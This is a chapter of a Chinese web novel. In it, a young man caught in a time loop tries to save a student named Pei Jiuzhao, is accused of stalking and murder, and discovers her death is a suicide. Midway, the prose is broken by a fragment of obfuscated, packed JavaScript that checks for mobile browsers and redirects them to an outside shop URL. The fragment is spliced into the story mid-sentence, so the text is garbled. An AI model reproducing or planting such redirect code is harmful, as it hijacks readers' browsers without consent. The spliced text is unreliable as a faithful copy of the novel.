他现在对于裴人中的定义还不算清晰,不能与他交涉太多更不能轻易打草惊蛇。尤澈端起声音略恭敬地说道:“先生您好,这里是骗断腿保险公司,请问您是否需要办理相关业务?” 时间紧迫,他只能胡扯了一个公司名字,“骗断腿”三个字读得正经又奇怪,裴人中没有反应过来。 电话那头的男人听到他的话后狠狠地啐了一口,对着听筒骂道:“妈的,卖保险卖老子头上了,傻逼……” “嘟——” 电话被裴人中挂了。 手机被放在眼前,尤澈瞧着屏幕上面“已挂断”的界面静默了一会儿。 十一点十分了,裴九昭还没有回家。也许他可以在游城大学回居民区的路上拦住裴九昭,只是用什么理由呢…… 说什么才能挽留急匆匆回家的人? 尤澈思考时打的车到了,他拉开门坐到后面给司机报了一下裴九昭居住的那个居民区位置后,倚着车门偏过头看着外面的风景。 游城的阳光真的很充足,之前无论是他哪天来,洒在身上都是温暖。可惜裴九昭的家可能风水不太好,再热烈的光线都照不进去。 一路上他摒弃了很多明显听起来忽悠人的话,裴九昭比他想象的可能还要聪明得多,胡扯的话很难骗到她,更何况她因为什么事情要急着回家更不会驻足太久。 尤澈蓦地回想起之前的十一次循环,裴九昭只活下去了一次,存活率极其地低。活着的那次是因为他将全部和盘托出……如果他一会儿再同裴九昭说明循环的事,能否保证她活着且不用蹲局子? 他犹豫了很久,还是在走到居民区门口时决定与裴九昭说实话、挑明如今的处境,这是他唯一能够拦住裴九昭回家的筹码。 只不过尤澈需要全程跟着她,以防她动手或者找人动手。应该可以谈条件的吧…… 尤澈在地图上丈量游城大学回裴九昭家的路,比对了很久最后决定在居民区的一处阴凉地等着。 他从来没有让自己什么都不干放空这么久,视线盯着地上的光线阴影挪移。尤澈回过神来才发现自己依然选了那条最难的路——她是受害者自己便救,她是杀人犯自己要拦着。 人都贪婪,他还是想裴九昭好好活着…… 十一点四十分,尤澈刚低头瞧完时间,抬眼间瞥到远处走了一个背着书包的女生。 他从未与裴九昭一同站着,之前不是他坐着便是裴九昭坐着,要么两人一同坐在探望室。第一次站在同样高度的地面上望过去,尤澈才发现她身形消瘦比自己矮一头,背后鼓鼓的背包像是下一秒就要压垮她。 她瞧着……和之前不一样。 通话中的啰嗦好谈、庭审时的张扬跋扈、探望室的随意淡然都不是面前的裴九昭……到底发生了什么事让她急着回家? 还是说,裴九昭平时就是这样? 如若不是循环就在自己身上发生,尤澈反倒会觉得他与裴九昭两个人在看不见的“演技”比拼上厮杀,这个突兀的想法让他有点想笑。 裴九昭绷着脸垂着头一股劲儿地往前走,两只手在背带上不安地摩挲。 蓦地前方投下来一片阴影,她皱了皱眉准备绕过不长眼的人,结果刚挪了两步就被一条手臂横着拦在了原地。 “路那么宽,你偏要跟我抢?”,语气夹杂着不耐烦,裴九昭抬眼看向面前那条挡道的“坏狗”,本以为是哪个认识的人,结果却陌生地如同计算机编程。 她不解地望着尤澈,急躁地问道:“有事?我现在没空,有事下午再来找我……” 尤澈见她有绕过自己手臂的想法,立马挪了一步继续挡住裴九昭前进的脚步,带几分安抚情绪的意味开口道:“只耽误你几分钟。” “我想和你说一件很严肃的事情,裴九昭。” 裴九昭没想到他知道自己的名字,刚扭一边的头又偏了回来,疑惑地打量他,嘴下却毫不留情地说道:“给你三十秒,说不完还拦着,我就喊人。” 尤澈刚开了一个循环的头,裴九昭闻言嗤笑了一声,阻止他继续说下去道:“打断一下……” “你不会想说自己是循环者,而我是循环的一部分?让我猜猜……怎么?是我一会儿就要死了,你来救我的?” 尤澈没想到自己只提了“循环”两个字,裴九昭就能这么快地了悟,只能懵怔地点了点头。 “小说看多了吧?这种骗人的小把戏上个世纪就不流行了。” 裴九昭似乎是笑够他这种愚蠢的行为了,蓦地收了勾起的嘴角绷起脸警告道:“我没空听你编故事,也不想参与什么大学生脑残调研,更不在乎你从哪知道的裴九昭……” “总之,滚开。” 裴九昭把话撂下后一把推开尤澈拦在自己身前的手臂,头也不回地往居民区内走了。 徒留尤澈一个人站在大太阳下发怔,这个反应怎么跟九循欣然接受循环的裴九昭……不一样? 上次裴九昭不用自己怎么说便分析出来有关循环的事让尤澈确实放松了神经,然而这件异想天开的事情说给任何一个人听其实都不会有人信。 那么九循的裴九昭怎么就信了?或者说那次的她也没有信,只是试探之间反杀了裴人中? 思绪回拢的尤澈眼瞧着裴九昭越走越远即将拐过第一个转弯,也顾不得什么信不信了,飞快地追了上去。 不管她的态度是什么,他不能放任裴九昭再次死在自己面前。 裴九昭听到了身后的声音心里一紧,不知自己什么时候惹来了一个活阎王,只能拽紧双肩背带低着头快步往家里赶。 逃避间她用余光略略往后瞥了一眼,瞧到尤澈就快追上来了,呼吸急促了一下后厉声道:“我不信什么狗屁循环……” “你再过来我报警了!” 她的话刚说完,尤澈就追上了她,一把抓住了裴九昭的手臂,舒了一口气缓和喘息。 那一瞬间,一个莫名的想法突然漫上他的脑海,不知不觉间就将想说的话讲了出来。 “同学请自重。” 不怪尤澈这样想,只是他突然回忆起来九循时说完这句话后,裴九昭变得不一样了,具体表现在收敛了那份罗里吧嗦,在那一瞬间更加沉稳了。 所以,他怀疑也许“同学请自重”这句话不仅仅可以激起自己的记忆,也可以激起裴九昭的。 被奇怪的跟踪狂抓住胳膊暂且不谈,自己还没有请他自重,他反而倒反天罡先控诉自己? 听了这五个字后,裴九昭是实实在在被面前的人气笑了,懒得和他再多说一个字,从口袋里拿出手机后直接当着尤澈的面拨通了110。 “……对,我被跟踪狂骚扰了……” 尤澈没想到她不仅没有恢复记忆且当真要报警,事态发展已经超出了他的认知范围,怔了一下急忙冲着手机解释道:“警官,我没有跟踪骚扰她!” 裴九昭没有拦住他,反而在他说完后冷静地补充道:“拉着我讲什么循环的传销东西,现在抓着我不让我走,警官你说这算不算骚扰?” 听过两番争论,电话那头的警官显然更信裴九昭的话,并严肃警告尤澈,让他站在原地等待出警,不然就要将他拉回派出所去拘留。 尤澈显然更畏惧警官说的后果,如果被拘留就更救不了裴九昭了,他只能松开抓住裴九昭的手缓缓垂下,定在原地等待相城区警方的到来。 他看到对面的裴九昭轻笑了一下,挂电话后还冲自己比了个大拇指向下的手型,留下了一句“要钱不要命的傻货”就走了。 很明显,他在裴九昭的眼中真成了传销组织的成员。 到底哪里出了差错导致这次循环比之前差得这么多? 只是因为不是在电话中说的,裴九昭便反应不过来?这不可能……一个人的脑子怎么会因为循环而影响? 也许真的是他高估了裴九昭?九循那次她之所以不怕凶手动手反而选择听他讲故事只是因为她不信自己?那为什么偏偏九循和其他十次的结局不一样? 尤澈的脑子转不过来了,他觉得自己自从步入循环中便无时无刻不在思考为什么。之前总觉得循环得越多便知道的越多,如此反复个十几次就很简单地将裴九昭救出来了。 可是现在他才意识到,循环得越多不知道的越多,然后那些不知道的事情编织成一道蜘蛛网,让他动弹不得。 游城的太阳实在晒得人焦灼,尤澈找了个阴凉地等着相城区警方来给他普法。 十二点刚过几分钟,一左一右皆来了一个人。从居民区入口方向来的是教育自己的警官,而另一边……是林丹伽。 她为什么回来? 不对……林丹伽的口袋中很明显能看出手机的轮廓,她回家了? 果然与他之前推断得相近,裴九昭回家后林丹伽就能回家,她们俩似乎有什么绑定的关系…… 警官确认了尤澈就是刚才那个报警中说到的跟踪狂后,劈头盖脸地一顿教训。很显然林丹伽也不是单纯的过路人,她似乎是被裴九昭派来的“打手”,在一旁对于尤澈的行为添油加醋,惹得正义感十足的警官恨不得给他两巴掌。 林丹伽走了,而那位喋喋不休的警官还在一旁说个不停,尤澈有些烦了。早知道拦下裴九昭会惹出来这么多事,他就真做一个“跟踪狂”了。 下午一点半,警官见他越发心不在焉且自己生生说了一个半小时不带停的确实又饿又渴,只好就此作罢,再次警告了尤澈几句话后转身走了。 余光瞥见他拐了个弯消失在视线范围内,尤澈立马朝反方向往裴九昭家走去。 轻车熟路地走到裴九昭家的后街,隔着几十米远没见到她家的窗户开着。还好,最起码凶手不算是提前潜伏…… 尤澈拐到了那栋楼的正面,经由楼道走到了裴九昭家门前,是一道生了锈的防盗门再加上道隔音的铁门,看起来年代很久了。 这个时间点楼道里特别安静,他犹豫了一下还是轻轻地伏在防盗门外听里面的动静。 三分钟过去了,里面没有一丝声音泄出。 总不能是裴九昭家的隔音门质量太好吧?他甚至隔着走廊都能听到林丹伽家里的时大时小的动静。 难不成家里没人?可是如果一点半没在家,为什么两点半却会死在家里?这是不是证明裴九昭就算出门了还会回来? 如若这样的话,尤澈倒还可以在门口蹲到人,从而帮她避开两点半的死亡。只是刚刚得罪了人该怎么和裴九昭和解呢……他又犯了愁。 也许是尤澈窸窸窣窣的声音有点大了,一点四十分,他背面的林丹伽家门开了一条缝。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520853|139178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >女人看着坐在台阶上望着裴九昭家的尤澈怔愣了一下,暗自琢磨了一会儿小声地开口道:“你是不是喜欢昭昭?” “但是追她的时候惹昭昭生气了?” 闻言,尤澈差点一口气堵在嗓子眼上不来。 他偏过头猛地咳嗽了几下,那口提不上来的气憋得脸瞬间发红,只来得及给林丹伽摆了摆手表示自己并不是这个意思。 林丹伽好似被尤澈的咳嗽声吓到了,一下子缩回了屋子里关上门,并没有看见他的摆手。 尤澈也并不在乎林丹伽的反应或者是评价,这跟他没关系,对他也没什么影响。 低头看了眼表,差一分钟就两点了。 尤澈抬眼瞧了一眼紧闭的门蹙了一下眉,决定去外面转一圈看看有没有什么奇怪的地方。他绕到了这栋楼后面的那条街,上次大开的那扇窗户紧紧地闭着。 几乎是一寸一寸仔细看过,尤澈才又拐回了裴九昭家门前坐着继续等人。反正两点半的时候裴九昭要向林大物理系招生办打电话,没什么好急的。 两点零八分,在门口坐着等的尤澈蓦地嗅到了扑鼻的铁锈味儿,还带一点点腥气。 直到越来越浓重的气味儿揉杂在一起将他淹没,尤澈才反应过来那不是阳光暴晒下的铁锈味儿,而是血腥味儿。 意识到这件事后,心脏猛地一跳,身子止不住地开始发颤。他弯下腰将头近乎埋在地上,趴在裴九昭家门口从门缝朝里面看去,入目全是红色,扑面而来的气味儿令人作呕。 很突兀,一点声音没有,一墙之隔的裴九昭却倒在了血泊中,毫无生息…… 突如其来的转变让尤澈一时乱了阵脚慌了神,他甚至忘了此刻应该干什么,反倒下意识地猛拍门,仿佛渴望里面那个死透了的尸体回应自己,结果自然是无人应答。 猛烈的拍门声将林丹伽从自己家里惊了出来,她以为是尤澈等不及了狂躁地敲门,实际上接触到走廊空气的那一瞬间,林丹伽的脸色就变了。 尤澈只觉得自己像是与外界隔了一层透明却极其隔音的膜,他拍不碎它也突破不了它,只能颓在地上任由林丹伽一把推开。 他不知道裴九昭家门什么时候被打开了、林丹伽晕在了地上、相城区警方出警将他押了回去,尤澈只觉得天地之间两眼之外只剩下那抹令人反胃的血红色。 “你就是尤澈?那个骚扰裴九昭的跟踪狂?” “你为什么堵裴九昭?她的死是不是和你有关?” “你是不是盯她好久了,见色起意发现裴九昭不同意,就心生怨恨将其杀害?” “……” 头晕得厉害,眼前也近乎模糊,尤澈只觉得有几百个警官在围着他念经,虽然听得烦倒也好笑,他第一次知道原来警官的联想能力也可以这么强。 周遭安静了下来,似乎是他们想不出什么新的话语来逼他就范了,说话的回合轮到了尤澈。 “我没有跟踪她,也没有骚扰她……” “你说谎!裴九昭的手机里发现了林丹伽发来的消息,说你在聆听警官教育后非但没有改,反而直勾勾地守在了裴九昭家门口……还说不是跟踪骚扰?” 尤澈不知道该怎么解释这件事,他能认跟踪但不能认凶手,他还想从相城区警方这里知道更多…… “我没有杀她,我一直在门口根本进不去……” “裴九昭家靠近后街的位置有一扇窗户大开,以你的身高可以轻而易举地翻进去。” 窗户……居然是开着的? 明明他在刚到两点的时候还去看了一圈,那会儿窗户还紧紧闭着。 “我没有进去,里面不可能有我的痕迹。” “我们在窗台上发现了一枚44码的男鞋鞋印……” 脑袋嗡嗡地疼,尤澈不想再听下去直接接过话茬辩驳道:“我穿45码的鞋,那鞋印不是我的,是凶手。” “我们当然知道你是45码鞋……如果是你穿着那双老式休闲鞋行凶,杀人后故意留下鞋印,将鞋子扔到了几条街外的垃圾桶,那甚至连时间都能对的上。” “两点零五分左右你杀完裴九昭后,出门做了这些事再回来的路程正好三分钟,而你正好在两点零八分的时候在裴九昭家门前拍门报警来掩盖罪证。” 欲加之罪何患无辞? 浓重的无力感涌上心头,他非是圣人心刚才做不到不为自己辩驳。只是因为“跟踪”而将罪名安到“杀人犯”的份上了,哪怕是相城区派出所真藏了什么珍贵的情报,尤澈也不想再说什么了。 他开始复盘这次循环中出现歧路的地方——他和裴九昭线下见面为什么会导致死亡时间提前? 这是从来没见过的改变…… 或者说,自从他决心救裴九昭开始,每次循环都不再按部就班地与之前一样,而是或多或少地做了些改变。 难道都是因为他?可是就算尤澈自诩再怎么聪明,凶手也不会让他三分薄面,凭什么他就可以影响到循环走向? 围着的警官见他不说话又开始了新一轮的唇枪舌战,脑袋嗡嗡地发晕疼痛,血红色在眼前上涌。 尤澈蓦地回想起从门缝中瞧到的濒死的裴九昭的那些血液像是穷途末路快要枯涸的喷泉一般往上小幅度地涌着,随着自由落体像朵红花似的软软地盖在她的身上。 等等…… 上次循环时,濒死的裴九昭是不是说了“橘子味儿棒棒糖”? 一直震惊于裴九昭的死亡,尤澈将这件重要的事都差点给忘了……那明明是九循发生的事,她怎么会记得? 他突然有一个奇怪的念头,有没有可能…… 裴九昭也会像他那样被重置记忆、需要特定的话解锁? 而他只是没有找到裴九昭的“开关”? 14.第十三次循环 第六次循环……挂电话前的一分钟之内,尤澈在考虑要不要将死亡的事情告知裴九昭,他自己没说话就罢了,裴九昭竟然也没说话。 他很清楚地记得,当时的环境安静到电话两边的人都可以听到挂钟秒针走动的声音。 按照裴九昭之前滔滔不绝的聊天方式,就算会被“同学请自重”这五个字说得一愣,也会尽快接上话题或者直接开口问他为什么这样说……可是她没有。 第九次循环……尤澈一直以为裴九昭对于循环过于了解,所以在他提到这件事的时候很自然地接受了,并且一下子就能分析到循环的原因是因为她的死亡。 但实际上,再聪明的人第一次听别人说自己所处的世界不是现实而是循环,至少会恍惚一下,大多都会陷入“我怎么会在循环里”的思索中,而不是瞬间接受这个事实从而联想到循环的原因, 就连尤澈自己也是到了第三次循环,才基本上能确定处于循环中而不是所谓的梦中梦。 其实当时最让尤澈想不通的,还是裴九昭怎么就能在那么短的时间里通过他的讲述来锁定凶手并密谋反杀的? 他还是觉得裴九昭拥有特殊的恢复记忆方式,恢复时间应该与他相差不多,即在挂电话前后。只是大多次循环中,电话被他挂了之后她便只有不到一分钟的时间自保,自然来不及活着。 尤澈将之前的循环一一捋了个遍,前五次循环“同学请自重”是下意识说的,六七九这三次循环是因为招生办电脑的bug说出口,而从第十次循环开始,重置记忆莫名其妙地消失了。 明明第九次循环和上次循环都说了循环和“同学请自重”,裴九昭的反应却截然相反……有没有可能就是因为重置记忆的消失而导致裴九昭的记忆“开关”变了。 直觉告诉他,裴九昭的记忆“开关”还是与“同学请自重”息息相关。如若现在不是听他说这五个字恢复记忆的话…… 那只剩下……她自己说。 只是,让一个毫不知情的人说出“同学请自重”,比从刀口下救人还要难。 尤澈想了很久,在发车前去商店买了一个最普通款的牛皮纸封皮本子。他埋头在列车的小桌板上写了快一个小时,到站了也不急着去寻人,随便找了个有桌子的地方继续写着。 十一点二十分,尤澈停了手,随意揉了揉发酸的腕子,将那个字迹扑满的本子来回翻了几页,满意地点了点头。 幸亏他在第九次循环的时候将裴九昭给自己的童话本子翻来覆去看了不下几十遍,将上面的故事和写字习惯记得还算完整,如今除却一些细节上的用词和字迹有些偏差,大体看起来还挺像的。 也还好,裴九昭没用什么奇形怪状的本子…… 尤澈将本子翻到空白的一页后,学着那日探望室的裴九昭随意的笔法,将自己曾经留在小程序里的话写了上去。 现在张口说“同学请自重”。 尤澈不能确定裴九昭百分百说出“同学请自重”这句话,甚至不能保证她认下这本造假的童话。 他只能赌……赌裴九昭会因为熟悉的故事多看这五个字多几眼。 尤澈卡着时间点到了裴九昭居住的居民区门口,没有像上次一样去堵人,而是先站在一处看不见的角落里,等到她出现后才跟在后面小跑几步装作捡到了东西想要物归原主的陌生人。 他追上裴九昭的步伐,在她的肩膀上轻轻一拍,试探地问道:“同学,这是不是你的本子?” 低着脑袋的裴九昭顿了一下,偏过头抬眼朝尤澈扫了一眼,看到了他递过来的牛皮纸封皮本子,蹙了一下眉似乎在思考自己什么时候丢下了它。 尤澈瞧到她犹豫的表情,立马加柴添火道:“我和你隔了一条街,很远就看到这个本子掉了。刚才问了几个经过的路人,都不是。” “虽然有些唐突,但我刚才瞧了一眼内容,大约是有关于童话故事的……”,他瞧见裴九昭的眉头松了几分,继续诱道:“如果是用来投稿的,作者应该很着急吧。” “同学,你且看一眼内容……” 寻常人遇到这样的事都是认字迹,反到了他这里,为了让裴九昭认下这个本子,竟口不择言地讲歪了。 尤澈蓦地闭了嘴,忐忑地仔细地观察裴九昭的神情。看起来她没有怀疑自己,好在他收声挺快,裴九昭应该是没听到。 尤澈见她点了点头从自己手中接过了本子翻看,紧张不安的情绪一下子上涌,掌心都跟着发了点汗。 煎熬的一分钟过去了,裴九昭非但没有说话,眉头也越皱越紧,仿佛下一秒就要把这个假货扔到了他脸上。 眼瞧着她翻到了那页只有几个字的纸,赶在裴九昭发声之前,尤澈撑不住如此安静的氛围,喉结跟着动了一下,小心翼翼地问道:“同学,这是你的吗?” 视线从本子上抬起落到尤澈那副瞧起来有些紧张的面孔上,裴九昭依旧皱着眉说道:“是我的,但是……” 她将那页纸翻转了一下朝着尤澈,指着上面的“同学请自重”那句话,问道:“你捡到它的时候就有这句话了?” 棕色眸子疑惑地看向自己,尤澈竟第一次在循环中撒谎时感到了莫名的心虚,他眨了眨眼睛试图缓和这一情绪,随后点了点头。 “我以为是什么游戏词,就没在意。”,尤澈又装作不知情的模样惊讶地问道:“这句不是你写的吗?” “谁会写这么脑残的东西?”,裴九昭嫌弃地扫了一眼那页纸。 他会…… 尤澈垂眸掩去尴尬的情绪,清了清嗓子继续引导道:“可我看着,字迹都一样。” 裴九昭蹙着眉将本子翻了回来,自我怀疑地看了一遍又一遍,发现了一点不同之处——重字的最后一笔勾起来的弧度很浅,不像是她的平日习惯。 越看越觉得不对劲,裴九昭又将本子翻到了前面的童话,扫了几眼后直接将它合上了,抬眼对尤澈说道:“同学,谢谢你。那我就先走了?” 不对…… 明明裴九昭的表情给人的感觉就是特别怀疑,浓重到甚至差一分就要将本子还给他了,为什么临了又认下了? 尤澈的眸子暗了一下,旋即装作特别高兴地样子说道:“不用谢,找到了就行,再见。” 裴九昭捏着本子朝他挥了挥手便继续向前走去,尤澈瞧着她的背影陷入了沉默。 童话应该特别重要……重要到即使她看出来不是自己的字迹也要认下。是为了找模仿她的人吗?但裴九昭并没有来问他这个“目击证人”…… “咚——” 离自己不过十几米远的裴九昭身形摇晃站不稳,手中的牛皮纸封皮本子跌落在地上,本脊磕在水泥地上发出声响。 尤澈闻声朝前跑过去,停在裴九昭旁后先扶了她一把,随后视线挪移看到她两只手死死地按着太阳穴,眉头蹙得比刚才更狠,棕色的眸子像是来不及闭上半眯着有些无神。 尤澈蓦地觉得有些熟悉,这一幕像是……他每次说完“同学请自重”后记忆碎片回拢时的疼痛难忍。 他扫了一眼摔落地上的本子,它仰面摊开正是写有“同学请自重”那页纸,边角被狠狠地揉皱。 尤澈第一次觉得自己运气不错,他赌成功了…… 只是他们两个站着的地方正是路中间过于显眼,尤澈将人带着移到了一旁的阴凉地,没再管水泥地上功成身退的本子。 裴九昭恢复记忆的反应比尤澈想象得要更加猛烈,她下意识为了不让自己喊出声音,一双唇咬得血迹斑斑。尤澈就是想将衣服团到一起强硬地塞到她的口中让她咬着,也掰不开她的唇齿。 铁锈味儿的血珠还在源源不断地往外渗着,秒针一点一点地挪了两圈,裴九昭还没有转醒,是因为她在经历每一次死亡吗…… 虽不是切身感受,尤澈还是觉得悲恸。 他的手蓦地被热烈的泪珠烫了一下,尤澈怔愣一下不由自主地用指节抹了一把裴九昭的眼尾。 尤澈第一次觉得,循环恍若挥刀片血、以肉饲主。 但他好像从来没有问过裴九昭想不想活、想不想浴血而生…… 时间一分一秒地过去,尤澈甚至扶着裴九昭又换了一处地方,她还是没从回忆里醒来。 有点奇怪……九循的时候他说完“同学请自重”不过一两分钟,裴九昭便能回话,怎么反而这次时间如此长? 一张卫生纸已经完全被血浸染了,尤澈刚打算换一张纸帮裴九昭堵住嘴上的口子,余光却看到她悠悠转醒,只是眸子还是有些无神。 他担忧地开口问道:“你感觉还好吗?” 裴九昭像是才意识到自己是被人搀扶着,眼睛聚焦着偏过头直直地看着尤澈,怔了几秒陡然轻笑了一声,嗓子沙哑地开口 “……好久不见,尤澈。” 这次换到尤澈呆住了,直到意识到裴九昭的半个身子还靠在自己的手臂上,将她扶正站好后视线挪到了其他地方,吭吭哧哧地回道:“好……好久不见。” 这是第一次,不是死人、不是罪犯、没有记忆差的交谈,尤澈反而有点出神,甚至暗自掐了一下掌心来证明这是真实的。 裴九昭平复了心情与呼吸,径直走到路中间将那个尤澈仿写的本子捡了回来,走到他身边后塞到了他的怀里,说道:“童话……本来就是送你的。” 她不待尤澈回答,伸手拉住他的白色卫衣,说道:“还没来得及谢谢你,跟我回家一趟,我让丹伽姐姐带你吃点好的。” ……谢他什么? 谢他是不是意味着今天不会再有尸体? 尤澈将本子往怀里带了带,就这么被裴九昭扯着袖子拽走了。 又站在熟悉的生了锈的防盗门前,尤澈陡然忆起上次循环的血腥味儿,粘稠地直往鼻子里冲去,仿佛要闷死他,痛苦地窒息而死。 手臂蓦地被握住,他回过神偏过头看了一眼裴九昭,她并没有看自己反而专心地用钥匙开锁。如若不是此情此景,尤澈倒觉得她小心翼翼得像是在撬锁。 两道门都吱呦呦地开了,不再是血液拼了命地朝他涌来,尤澈第一眼看到的是坐在板凳上惴惴不安的林丹伽,她闻声瞧来眼睛中盛满光亮。 厨房忙活的人听到开门声往这边扫了一眼,随后端着一盆肉急忙地走了过来,放到桌子上后才开口问道:“回来了?” 熟悉的声音,尤澈闻言眼睛微微一眯。那不是问他的,是裴人中问裴九昭。 怪不得林丹伽接不了电话,原来是被裴人中请到了家中。只是她是不是自愿的……从没带手机就能看出来。 裴九昭一双眼睛死死地盯着裴人中,像是要把人拆吃入腹。裴人中反倒无视了她的怒气,一副严父的模样教训道:“不像话,回家连句话都不同父亲说吗?” 裴九昭好似被气笑了,略过他径直走到林丹伽的面前,将她一把拽了起来。应是没控制好力气,林丹伽嘶了一声覆上裴九昭的手。 她将人拽到了门口和尤澈肩并肩,随后说道:“丹伽姐姐,这是我朋友尤澈。” “你帮我招待一下,你烧的菜最好吃了。记得带他去菜场逛一圈,让他自己选。” “昭昭……”,林丹伽扫了一眼她身后的裴人中,见人毫不见外地抄起筷子夹了一块肉送入口中,身子跟着抖了几下。 “去吧。”,裴九昭推了林丹伽一把,眼瞧着旁边的尤澈像是守门一般站着一动不动,笑了一声劝道:“放心,我只是和他说几句话。” “你在丹伽姐姐那里吃过饭,两点来找我。” “可是……” 尤澈刚吐出来两个音,就被裴九昭截了下来。 “上次是意外,这次我保证。”,裴九昭回头扫了一眼裴人中,眼中闪过一丝嘲讽,继而扭过头继续对尤澈说道:“父女谈点私话罢了。” 旁若无人的裴人中似乎很赞同这句话,嚼着肉就开口说道:“对对对,可不是私话吗?” “赶紧让你的小男朋友走吧,瞧着烦人……” “我……” 尤澈还没来得及解释就被裴九昭用力推了出去,随后她合上了两道门,将他的视线隔绝。 尤澈在门口站着不动,林丹伽也不好说什么。直到他隐隐约约听到门后传来的交谈声音,才扭过头对她说道:“麻烦你了,丹伽姐姐。” 他不想林丹伽难做,也不敢忤逆裴九昭。至少目前看来一切正常,他信裴九昭会说到做到。 林丹伽很热情好客,也如裴九昭所说的那样烧得一手好菜,至少在尤澈看来她只是一个无辜的被卷进来的人。 只是他的心思一直挂在两道墙相隔的裴九昭身上,没什么胃口但又不好意思辜负林丹伽的盛情,尤澈只好将饭硬往胃里塞。 最后还是林丹伽看出他的不对劲,按下他还要往嘴里塞东西的筷子勺子,麻利地将桌子上的残羹剩饭收走了,并给他指了指厕所的方向。 林丹伽家里有一座整点会响的钟,尤澈瞧着它的钟摆一晃一晃得直到它咚咚地响了两声。那一瞬间,他猛地站起来把在阳台抱着猫晒太阳的林丹伽吓了一跳。 “丹伽姐姐,谢谢招待,我先走了。” 话音刚落,尤澈已经开门行到走廊了。 对面的门半掩着,应该是裴九昭给他留的门,他扫了一眼后莫名松了一口气。 推门而入,看到裴九昭也窝在躺椅里晒太阳,想来是和丹伽一起买的躺椅。尤澈反手关上门后,自觉地拉了一个凳子坐到了她的旁边,倒有一种岁月静好的感觉。 他扫了一眼,窗户没开。 “你骗我。” 尤澈闻言怔了一下,下意识偏过头看向说话的人。裴九昭闭着眼睛不知道在这晒了多久的太阳,耳朵有点红红得。 印象里自己并没有骗过裴九昭,他蹙眉追问道:“……什么?” 太阳将人烘得懒散,裴九昭的声音也顿顿得。 “你明明可以出循环,却骗我……” 尤澈陡然想起九循时裴九昭曾问过自己已经出循环了为什么又回来,当时他不说实话是害怕对方把自己当作流氓,于是随便扯了一句“可能是你还没有活过今天吧”,裴九昭认真地记下了…… 所以裴九昭那次活了,然而他又进循环了。 “我……” 我是为了救你进循环?他讲不出来听起来那么高高在上的话…… 尤澈不知道作何解释,明明平时利索的嘴皮子到了裴九昭面前却像是生了锈堵住了。 裴九昭没有听到尤澈的声音,微微睁开眼后眯了一会儿适应色差才缓缓地偏过头看向他。明明神情似光般柔和、语调轻慢,说出来的话却让尤澈如坠冰窖。 “我是死是活已与循环毫不相干,你为什么还不走呢?”
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“好不容易来一趟,晒会儿太阳吧……真的是让人想睡觉。” 裴九昭没什么想说的,尤澈觉得自己不应该主动揭人伤疤。两个人就这么安静地看着那处熟悉的窗户,各怀鬼胎。 直到斜阳西下,屋子里再无阳光一瞥,裴九昭仿佛刚睡醒般伸了个懒腰从躺椅上站了起身,打了个哈欠问道:“你还不走吗?” 尤澈总觉得她是在问自己出不出循环,不过无论问题到底是哪个,他只管摇头拒绝。 裴九昭看到他的表态后挑了一下眉,调侃般说道:“你不会真打算在这留宿吧?” “我……可以不睡,”但是你不能死。 后半句尤澈没有说,只是真诚地仰头望着裴九昭,希望她给自己这么一个机会。 裴九昭若有所思地点了点头,回道:“你随意,我去换身衣服。” 说罢,她便走进了旁边的小屋子。 尤澈的视线随着她的行动落到了那扇破旧的木门上,合页扭动时只扫到了一眼,里面很整齐地摆着些什么。 直到屋门紧闭,尤澈站起了身,先是到之前总开着的窗户那儿探查一番,没有脚印。随后又进了浴室,地上很干净,连根头发都没有。最后走到了餐桌前,见了底的水杯以及干净的垃圾桶似乎都在暗示着无事发生。 尤澈转了一圈,回到了躺椅旁的凳子上坐下,静等裴九昭换好衣服出来。 只是,她进去后便没了什么动静,像是直接倒在床上睡了过去。 五分钟过去了,人还是没有出来。 尤澈有些焦急了,蹙着眉起身去往屋门前轻敲了几下,问道:“睡了吗?” “嗯……” 这道声音听起来不像是在回应他,反倒很虚弱很无力…… 想到这一层,尤澈的眸色一沉,也不管什么男女有别,推门就要往里进。那一瞬间,隔着一道门他又闻到了浓烈汹涌的血腥味儿,编织成密网直直地扑面而来。 打眼往屋里望去,在尤澈脑海里早已循环过上千遍的画面开幕重演。裴九昭像是一股生命之泉,血像是流不尽一般汩汩地从她的喉咙口腔往外翻涌,冲破它们的诞生之地再不回头。 恍惚间,一缕调皮的血朝他爬了过来,尤澈猛地往后退了好几步,直到腿磕到凳子将它踢翻弄出声响才回过神来。 ……裴九昭死了。 小小的屋子盛了不少东西,左手边是很高的桌案,上面一层一层地摆满了佛像,香炉没有燃香,但屋子里却处处充斥着香火的味道,和血混杂在一起,说不上来的恶心。 尤澈对佛不了解,看谁都像菩萨。 右手边是一个小柜子,最里面是一张木质古朴小床,干净整齐地叠放着被褥等东西。 正对着门口的地上,躺着裴九昭的尸体,她的手中握着那把水果刀,血液没了最初的冲劲儿,慢慢地流淌。 尤澈环视了一圈,没有发现窗户,基本上可以确定一个最荒唐、他从来没有想过的事情。 ……裴九昭是自杀。 他没有难过反而很平静,就是蓦地觉得挺搞笑的。 人家是自杀,循环还要把他拉进来救人。 当他是什么神佛吗?三两句话就能让人放下俗世的恩恩怨怨出家吗? 怪不得裴九昭要与一个陌生人打电话只聊些八卦……她从来没有把他当人,只是死前留恋世间想要再逗趣的狗。 怪不得裴九昭在九循要恭喜他好好活着……她从来就可以主宰自己的生死。 但是为什么? 裴九昭为什么要自杀? 为什么要自杀之后再伪装成受害者?为什么这次在他面前又不装了? 思绪转得飞快,尤澈试图在自己仅知道的线索中找寻这些问题的答案,反倒下意识忽略了为什么要找答案。 他蓦地想起很久远的一次循环最后,小李警官告诉他相城区警方用了很多鲁米诺试剂。裴九昭死亡时就那么一大滩血明摆着放给人看,就算被拖拽过来不是死亡第一现场,也用不了那么多。 如若这样还要用鲁米诺试剂的话……很明显,裴人中死在裴九昭的前面,才会有大量被洗去的血迹需要一验。 所以九循的时候根本不是裴九昭知道凶手后反杀裴人中,而是他早就被杀死了…… 早到裴九昭给他打电话之前。 如若他现在去烂尾楼……会不会发现裴人中的尸体? 